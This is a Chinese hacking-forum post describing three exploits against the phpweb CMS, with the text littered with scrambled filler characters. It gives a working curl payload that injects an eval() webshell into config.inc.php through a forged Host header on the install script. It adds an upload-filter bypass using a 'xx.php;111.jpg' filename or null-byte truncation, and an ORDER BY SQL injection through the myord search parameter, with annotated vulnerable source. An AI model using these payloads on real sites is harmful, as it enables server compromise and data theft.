找回密码
 立即注册
查看: 2777|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
注入:+ {4 X1 K  F% _1 ]/ K7 ^/ i5 M4 g
: S; P& B: T4 {" }; B
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
9 W. |! S% i1 j  M, N% z/ g ) `# [' _$ C( W5 `, R7 H1 b
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件1 W6 G+ G) k3 @, `2 ]$ [4 G
鸡肋2: 有一定安全常识的站长都会删掉 install 目录0 u: C- g* m; J# V* W
% [5 @: I5 f) E
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响) y7 c" M( s* {8 S3 e' B* w

7 Z+ I: r9 v# k  ]分析:
, x( F; W) g" p+ g. `' h ! U# I& G1 s% ~, G9 G9 f+ G+ b. x! r8 N! _
& b, k* S+ F. C5 M/ ?5 I
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤  S$ R+ `9 s' c; K- t

. }# _7 i: Y9 f& D& t' B                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);) q# ?- n. h9 ^
                                            $filestr=str_replace(" ","",$filestr);- ]  \+ m1 c0 w
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);& w+ ~1 I/ t* ], j& _' h  p# B
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);1 l# z# z3 O3 p( v
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
! ]! ]# p3 E3 f4 V6 x3 ?9 ~0 t                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);$ K' L+ Z& q7 O* L( s
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
+ T+ G; U3 u/ J: O/ t2 W! U                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
% W0 I% Z4 ~) B. i+ L4 m                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
8 _, x& |% d4 K
+ }. I2 V* F* `5 p3 W) C1 P                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
; H; n# v" @; P6 b6 b& C7 C$ q$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^4 M7 ?) P3 i* ]% _3 ~3 Z' \

& Y5 E- ~7 h2 y$ F# T" h# opoc:
; `- M/ B4 }% }7 s / L9 @; p0 o0 E+ O  G+ W
?
6 h. x& u$ x$ c; j1
  i. m$ M( `7 t+ ]' v+ z2 u! M0 ~curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
6 t% a  n# S6 V/ N) q) e$ l5 [, B% Gshell地址: /config.inc.php- r. J' ?- h! ?' a2 [2 l( z; l7 @
跟之前的 phpcms一样 需要远程数据库
/ K" M# ~/ \5 P& R3 k ( g1 U( L% P/ g9 j
——————————————————–
# Z7 J! r! g; C( d' l4 C# I% b; r上传漏洞(需要进后台):
  s2 T: H7 W  l7 u) G7 j% I1 m漏洞文件: /kedit/upload_cgi/upload.php6 j8 k) C5 w! Z
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
6 ~6 Q6 _. F8 \5 j! r : A; D5 H9 R$ M$ f. I

+ m7 s; _+ Q* a2 E5 [  F<?php
+ q' ]& V7 S0 v0 J) |" y, P    define("ROOTPATH", "../../");6 F. N/ `: L6 ?; t3 a+ Z
    include(ROOTPATH."includes/admin.inc.php");& q) X0 s" j) D+ l( U" ~
    NeedAuth(0);( |* d2 k2 d8 ]6 C7 v9 i
% K. S, X9 A/ Z
    $dt=date("Ymd",time());
  N# ^! P7 h  x, c3 c    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){8 ^1 j+ J, k3 f, p, T' f( ~
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);( z/ G; [9 J8 o
    }
4 r$ H7 g5 N' I6 {/ m. `3 a% w" u  J # f6 g  G' c% o6 f3 [& b
    //文件保存目录路径
  r! [9 M8 l( Q. d) @) y    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
) ~# F5 f( I  O' {    echo $save_path;: v7 u; @7 S( c: \+ ?
    //文件保存目录URL
, E8 T/ U; A+ x* d    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
7 H" v3 @2 O# \ 6 `1 u9 H; c( D, e
    //定义允许上传的文件扩展名
1 o' s. `/ c8 B  o0 D+ [    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀% r2 Z: G( [3 f. k8 s

5 B3 W/ g+ m, C9 I  @/ V. v: k' T    //最大文件大小# k6 Y1 D8 @8 F, N! D
    $max_size = 1000000;
% q9 Z, k" i% q: N9 q
1 z9 G- B% J; E    //更改目录权限8 v! v' G5 V( k4 D
    @mkdir($save_path, 0777);- a/ |( ^- d, q. H/ K  D
6 p5 H" E+ z: V: ]0 G* A/ y4 \
    //文件的全部路径
+ z9 m& J7 B6 q; h    $file_path = $save_path.$_POST['fileName'];   //保存文件名
  d7 r4 h# ?3 y7 x6 S 1 u7 `5 U; x" z- m
    //文件URL- m7 {) M7 u6 V
    $file_url = $save_url.$_POST['fileName'];
% d, _/ V( ~, o; u//有上传文件时3 b" [* }  o4 G% }6 x$ a- a6 O! ~
    if (empty($_FILES) === false) {
" d, N1 u3 d7 P& U, C # [- ^2 e7 _" F* X- `" H
            //原文件名  o8 l2 i, F  o# S1 r9 {# ]0 m
            $file_name = $_FILES['fileData']['name'];
- d3 k- k, K  `6 z            //服务器上临时文件名7 I8 T  i: z6 Z( p: f: N% d
            $tmp_name = $_FILES['fileData']['tmp_name'];
) j4 u5 A, }5 ?8 V' W: N& b% w            //文件大小2 e; e- }5 }5 V7 o! w7 E- R1 \) w
            $file_size = $_FILES['fileData']['size'];: g8 V, N' R7 x9 s* G
            //检查目录- a" f& k9 J6 p0 r6 J9 P
            if (@is_dir($save_path) === false) {
% L: ~% ~1 y2 B/ g5 k$ P8 I6 s                    alert("上传目录不存在。");4 d7 r2 r4 s6 Z2 h7 V- j/ S: x
            }
  {( g, O1 U4 p0 W            //检查目录写权限
) q3 S* H+ C& j- F9 o- t( _            if (@is_writable($save_path) === false) {- k5 w1 T( S) b8 \3 u7 E$ N  Z! Z; {
                    alert("上传目录没有写权限。");+ v7 Z; d2 |2 z+ c2 s5 @
            }  [: o5 r* _* s* Z9 D2 P2 ]
            //检查是否已上传
. q5 S8 |* S: M/ Q- o# N            if (@is_uploaded_file($tmp_name) === false) {$ z0 \# l+ H- G9 _: P# q, |
                    alert("临时文件可能不是上传文件。");
0 p% Z; b4 \( W' c% x4 t8 s4 M            }
4 N6 l1 j8 |, n" Z            //检查文件大小
2 _; x/ L! F. U9 v            if ($file_size > $max_size) {: D0 R+ w2 D9 B8 d; @
                    alert("上传文件大小超过限制。");
& M- @) u, K6 P% p& ?  Y            }1 r" V4 z# t3 W) @2 l! R
            //获得文件扩展名- Z6 I( i: a, H1 _" Z
            $temp_arr = explode(".", $_POST['fileName']);& D! n, |/ I# v7 b) y; Q0 V
            $file_ext = array_pop($temp_arr);5 i0 {7 ^& I; R: q$ Y4 T* M
            $file_ext = trim($file_ext);/ e- Z- `& v$ y: s
            $file_ext = strtolower($file_ext);
$ H/ T  r" `9 a' v/ X . D' \* ^- R8 r, Z- D" @
            //检查扩展名   + g% p& m) m6 Y/ Y1 B
            if (in_array($file_ext, $ext_arr) === false) {     
0 y" w( }: @5 |" y( }0 Y! R5 y4 V                    alert("上传文件扩展名是不允许的扩展名。");
0 {8 i) S% e8 @            }
- J/ Z7 k" P4 x% M* d! h
- D4 x; z6 B( V6 D. T/ N$ U            //移动文件   9 O5 b) _, N6 k0 m) R
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
- p, j, _4 l8 t            if (move_uploaded_file($tmp_name, $file_path) === false) {
! }: N# ?" N1 E. r7 G# @                    alert("上传文件失败。");  b0 B- P5 e; E" W% e( B, x
            }- k" r# e1 g* I- h8 F
8 P2 {0 T$ e, p4 N
            @chmod($file_path,0666);' s1 P* w. W! n4 i3 d- g
. c! d' J1 L2 x# z3 D  R& y% v
    ?>
6 P6 c1 ^; l3 ~, e抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2278 f$ S2 _. k  R' T6 h  b

; K6 b& r8 E2 Z' O' W  H0 |) x" Capache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
, Q% {% G% R* }( e: D7 G; O( j8 s
$ |2 a, L  t' l& W( \——————————————————( C* W/ L. x9 t9 M& k
注入漏洞:# W3 Q( k- M# h
漏洞文件:search/module/search.php/ k! o! A! @4 H% V, R7 I
/search/index.php?key=1&myord=1 [sqlinjection]
8 [- R, j1 ^6 J0 B7 O9 ^
# z/ T3 `0 M) u  U
0 X) a* d) u. V; I  x9 B<?php- u1 ~+ p5 \: x* d% _% ~" T/ {
   //       ... 省略 n 行.../ E- n' \) A- E  H- A
   //第18行:
6 U2 j5 |1 T4 a; Y5 Y           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
9 }; B4 O5 T% h           $page=htmlspecialchars($_GET["page"]);. A* W# F1 @. y! E& e
           $myord=htmlspecialchars($_GET["myord"]);
( J9 m% J& I5 X1 g' D, l9 }! h3 Z
) M3 h4 q8 K! A! x. |" ?7 J1 G7 h   //       ... 省略 n 行...* Q: k) p1 Q! r. [# Q: i
   $key,$myord 两个参数带入查询, G% x/ I# q7 {( p- ]
   //第47行 $key:
2 ]0 r  e- O& M; N% R" w5 g+ f
; @1 J! W3 p' y$ k2 `4 ]   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
" t9 B/ g8 J/ H* \# B
% {0 u( F' d; _9 ?  Y   //第197行 $myord' j8 @9 r: i; m# g# ?+ ]( ]; K
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入5 j6 j5 ]% n3 I  p; p- [
5 w+ }( U/ m$ X" l0 B+ k' L2 E' h
   ?>8 }6 q- Z! \4 N2 R5 g( ?- z+ |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表